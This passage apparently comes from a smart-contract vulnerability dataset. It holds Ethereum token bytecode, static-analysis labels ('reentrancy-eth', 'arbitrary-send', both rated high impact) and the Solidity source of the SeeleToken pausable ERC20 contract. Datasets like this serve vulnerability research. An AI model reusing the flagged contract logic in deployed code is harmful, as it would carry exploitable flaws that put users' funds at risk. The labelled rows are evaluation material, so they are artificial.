3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107261127b565b73ffffffffffffffffffffffffffffffffffffffff161461109257600080fd5b600061109d30610e09565b90506110a881611dda565b50565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f7b565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f3b565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e9919061301b565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612efb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611441919061301b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e9b565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f9b565b60405180910390fd5b611579610fad565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610fad565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612ffb565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b601e42611a4c9190613151565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610e09565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e79565b60405180910390fd5b5060008385611c649190613232565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600654821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612edb565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e11613407565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128c0565b81600181518110611f4657611f456133d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612011959493929190613036565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131d8565b905082848261209291906131a7565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f5b565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612213565b8061214e5761214d6123de565b5b50505050565b60008060006121616123ef565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e79565b60405180910390fd5b50600083856121d591906131a7565b9050809150509392505050565b60006008541480156121f657506000600954145b1561220057612211565b600060088190555060006009819055505b565b60008060008060008061222587612451565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612561565b61236e848361261e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb919061301b565b60405180910390a3505050505050505050565b600160088190555060098081905550565b600080600060065490506000683635c9adc5dea000009050612425683635c9adc5dea000006006546120dd90919063ffffffff16565b82101561244457600654683635c9adc5dea0000093509350505061244d565b81819350935050505b9091565b600080600080600080600080600061246e8a600854600954612658565b925092509250600061247e612154565b905060008060006124918e8787876126ee565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125129190613151565b905083811015612557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254e90612f1b565b60405180910390fd5b8091505092915050565b600061256b612154565b90506000612582828461206290919063ffffffff16565b90506125d681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612633826006546124b990919063ffffffff16565b60068190555061264e8160075461250390919063ffffffff16565b6007819055505050565b6000806000806126846064612676888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126ae60646126a0888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126d7826126c9858c6124b990919063ffffffff16565b6124b990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612707858961206290919063ffffffff16565b9050600061271e868961206290919063ffffffff16565b90506000612735878961206290919063ffffffff16565b9050600061275e8261275085876124b990919063ffffffff16565b6124b990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278a612785846130d0565b6130ab565b905080838252602082019050828560208602820111156127ad576127ac61343b565b5b60005b858110156127dd57816127c388826127e7565b8452602084019350602083019250506001810190506127b0565b5050509392505050565b6000813590506127f681613751565b92915050565b60008151905061280b81613751565b92915050565b600082601f83011261282657612825613436565b5b8135612836848260208601612777565b91505092915050565b60008135905061284e81613768565b92915050565b60008151905061286381613768565b92915050565b6000813590506128788161377f565b92915050565b60008151905061288d8161377f565b92915050565b6000602082840312156128a9576128a8613445565b5b60006128b7848285016127e7565b91505092915050565b6000602082840312156128d6576128d5613445565b5b60006128e4848285016127fc565b91505092915050565b6000806040838503121561290457612903613445565b5b6000612912858286016127e7565b9250506020612923858286016127e7565b9150509250929050565b60008060006060848603121561294657612945613445565b5b6000612954868287016127e7565b9350506020612965868287016127e7565b925050604061297686828701612869565b9150509250925092565b6000806040838503121561299757612996613445565b5b60006129a5858286016127e7565b92505060206129b685828601612869565b9150509250929050565b6000602082840312156129d6576129d5613445565b5b600082013567ffffffffffffffff8111156129f4576129f3613440565b5b612a0084828501612811565b91505092915050565b600060208284031215612a1f57612a1e613445565b5b6000612a2d8482850161283f565b91505092915050565b600060208284031215612a4c57612a4b613445565b5b6000612a5a84828501612854565b91505092915050565b600060208284031215612a7957612a78613445565b5b6000612a8784828501612869565b91505092915050565b600080600060608486031215612aa957612aa8613445565b5b6000612ab78682870161287e565b9350506020612ac88682870161287e565b9250506040612ad98682870161287e565b9150509250925092565b6000612aef8383612afb565b60208301905092915050565b612b0481613266565b82525050565b612b1381613266565b82525050565b6000612b248261310c565b612b2e818561312f565b9350612b39836130fc565b8060005b83811015612b6a578151612b518882612ae3565b9750612b5c83613122565b925050600181019050612b3d565b5085935050505092915050565b612b8081613278565b82525050565b612b8f816132bb565b82525050565b6000612ba082613117565b612baa8185613140565b9350612bba8185602086016132cd565b612bc38161344a565b840191505092915050565b6000612bdb602383613140565b9150612be68261345b565b604082019050919050565b6000612bfe601a83613140565b9150612c09826134aa565b602082019050919050565b6000612c21602a83613140565b9150612c2c826134d3565b604082019050919050565b6000612c44602283613140565b9150612c4f82613522565b604082019050919050565b6000612c67601b83613140565b9150612c7282613571565b602082019050919050565b6000612c8a601d83613140565b9150612c958261359a565b602082019050919050565b6000612cad602183613140565b9150612cb8826135c3565b604082019050919050565b6000612cd0602083613140565b9150612cdb82613612565b602082019050919050565b6000612cf3602983613140565b9150612cfe8261363b565b604082019050919050565b6000612d16602583613140565b9150612d218261368a565b604082019050919050565b6000612d39602483613140565b9150612d44826136d9565b604082019050919050565b6000612d5c601183613140565b9150612d6782613728565b602082019050919050565b612d7b816132a4565b82525050565b612d8a816132ae565b82525050565b6000602082019050612da56000830184612b0a565b92915050565b6000604082019050612dc06000830185612b0a565b612dcd6020830184612b0a565b9392505050565b6000604082019050612de96000830185612b0a565b612df66020830184612d72565b9392505050565b600060c082019050612e126000830189612b0a565b612e1f6020830188612d72565b612e2c6040830187612b86565b612e396060830186612b86565b612e466080830185612b0a565b612e5360a0830184612d72565b979650505050505050565b6000602082019050612e736000830184612b77565b92915050565b60006020820190508181036000830152612e938184612b95565b905092915050565b60006020820190508181036000830152612eb481612bce565b9050919050565b60006020820190508181036000830152612ed481612bf1565b9050919050565b60006020820190508181036000830152612ef481612c14565b9050919050565b60006020820190508181036000830152612f1481612c37565b9050919050565b60006020820190508181036000830152612f3481612c5a565b9050919050565b60006020820190508181036000830152612f5481612c7d565b9050919050565b60006020820190508181036000830152612f7481612ca0565b9050919050565b60006020820190508181036000830152612f9481612cc3565b9050919050565b60006020820190508181036000830152612fb481612ce6565b9050919050565b60006020820190508181036000830152612fd481612d09565b9050919050565b60006020820190508181036000830152612ff481612d2c565b9050919050565b6000602082019050818103600083015261301481612d4f565b9050919050565b60006020820190506130306000830184612d72565b92915050565b600060a08201905061304b6000830188612d72565b6130586020830187612b86565b818103604083015261306a8186612b19565b90506130796060830185612b0a565b6130866080830184612d72565b9695505050505050565b60006020820190506130a56000830184612d81565b92915050565b60006130b56130c6565b90506130c18282613300565b919050565b6000604051905090565b600067ffffffffffffffff8211156130eb576130ea613407565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315c826132a4565b9150613167836132a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319c5761319b61337a565b5b828201905092915050565b60006131b2826132a4565b91506131bd836132a4565b9250826131cd576131cc6133a9565b5b828204905092915050565b60006131e3826132a4565b91506131ee836132a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132275761322661337a565b5b828202905092915050565b600061323d826132a4565b9150613248836132a4565b92508282101561325b5761325a61337a565b5b828203905092915050565b600061327182613284565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c6826132a4565b9050919050565b60005b838110156132eb5780820151818401526020810190506132d0565b838111156132fa576000848401525b50505050565b6133098261344a565b810181811067ffffffffffffffff8211171561332857613327613407565b5b80604052505050565b600061333c826132a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336f5761336e61337a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375a81613266565b811461376557600080fd5b50565b61377181613278565b811461377c57600080fd5b50565b613788816132a4565b811461379357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205688e129a2e98c4c9124c2525cf500b3b74804a4dc2082405032bcca238eabf564736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 820 |
0xacf3260dc51f28f90bb334c207acbfeda1c0445c | pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/PausableToken.sol
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/SeeleToken.sol
/// @title SeeleToken Contract
/// For more information about this token sale, please visit https://seele.pro
/// @author reedhong
contract SeeleToken is PausableToken {
using SafeMath for uint;
/// Constant token specific fields
string public constant name = "SeeleToken";
string public constant symbol = "Seele";
uint public constant decimals = 18;
/// seele total tokens supply
uint public currentSupply;
/// Fields that are only changed in constructor
/// seele sale contract
address public minter;
/// Fields that can be changed by functions
mapping (address => uint) public lockedBalances;
/// claim flag
bool public claimedFlag;
/*
* MODIFIERS
*/
modifier onlyMinter {
require(msg.sender == minter);
_;
}
modifier canClaimed {
require(claimedFlag == true);
_;
}
modifier maxTokenAmountNotReached (uint amount){
require(currentSupply.add(amount) <= totalSupply);
_;
}
modifier validAddress( address addr ) {
require(addr != address(0x0));
require(addr != address(this));
_;
}
/**
* CONSTRUCTOR
*
* @dev Initialize the Seele Token
* @param _minter The SeeleCrowdSale Contract
* @param _maxTotalSupply total supply token
*/
function SeeleToken(address _minter, address _admin, uint _maxTotalSupply)
public
validAddress(_admin)
validAddress(_minter)
{
minter = _minter;
totalSupply = _maxTotalSupply;
claimedFlag = false;
transferOwnership(_admin);
}
/**
* EXTERNAL FUNCTION
*
* @dev SeeleCrowdSale contract instance mint token
* @param receipent The destination account owned mint tokens
* @param amount The amount of mint token
* @param isLock Lock token flag
* be sent to this address.
*/
function mint(address receipent, uint amount, bool isLock)
external
onlyMinter
maxTokenAmountNotReached(amount)
returns (bool)
{
if (isLock ) {
lockedBalances[receipent] = lockedBalances[receipent].add(amount);
} else {
balances[receipent] = balances[receipent].add(amount);
}
currentSupply = currentSupply.add(amount);
return true;
}
function setClaimedFlag(bool flag)
public
onlyOwner
{
claimedFlag = flag;
}
/*
* PUBLIC FUNCTIONS
*/
/// @dev Locking period has passed - Locked tokens have turned into tradeable
function claimTokens(address[] receipents)
public
canClaimed
{
for (uint i = 0; i < receipents.length; i++) {
address receipent = receipents[i];
balances[receipent] = balances[receipent].add(lockedBalances[receipent]);
lockedBalances[receipent] = 0;
}
}
} | 0x6060604052600436106101325763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630483a7f6811461013757806306fdde031461016857806307546172146101f2578063095ea7b31461022157806318160ddd1461025757806323b872dd1461026a578063313ce567146102925780633f4ba83a146102a557806343b6c7d0146102ba57806344e2adeb146102d25780635c975abb146102e557806366188463146102f857806370a082311461031a578063771282f6146103395780638456cb591461034c5780638da5cb5b1461035f57806395d89b4114610372578063a9059cbb14610385578063d1a1beb4146103a7578063d73dd623146103ce578063dd62ed3e146103f0578063eef72a3c14610415578063f2fde38b14610464575b600080fd5b341561014257600080fd5b610156600160a060020a0360043516610483565b60405190815260200160405180910390f35b341561017357600080fd5b61017b610495565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b757808201518382015260200161019f565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fd57600080fd5b6102056104cc565b604051600160a060020a03909116815260200160405180910390f35b341561022c57600080fd5b610243600160a060020a03600435166024356104db565b604051901515815260200160405180910390f35b341561026257600080fd5b610156610506565b341561027557600080fd5b610243600160a060020a036004358116906024351660443561050c565b341561029d57600080fd5b610156610539565b34156102b057600080fd5b6102b861053e565b005b34156102c557600080fd5b6102b860043515156105bd565b34156102dd57600080fd5b6102436105eb565b34156102f057600080fd5b6102436105f4565b341561030357600080fd5b610243600160a060020a0360043516602435610604565b341561032557600080fd5b610156600160a060020a0360043516610628565b341561034457600080fd5b610156610643565b341561035757600080fd5b6102b8610649565b341561036a57600080fd5b6102056106cd565b341561037d57600080fd5b61017b6106dc565b341561039057600080fd5b610243600160a060020a0360043516602435610713565b34156103b257600080fd5b610243600160a060020a03600435166024356044351515610737565b34156103d957600080fd5b610243600160a060020a036004351660243561082a565b34156103fb57600080fd5b610156600160a060020a036004358116906024351661084e565b341561042057600080fd5b6102b8600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061087995505050505050565b341561046f57600080fd5b6102b8600160a060020a0360043516610924565b60066020526000908152604090205481565b60408051908101604052600a81527f5365656c65546f6b656e00000000000000000000000000000000000000000000602082015281565b600554600160a060020a031681565b60035460009060a060020a900460ff16156104f557600080fd5b6104ff83836109bf565b9392505050565b60005481565b60035460009060a060020a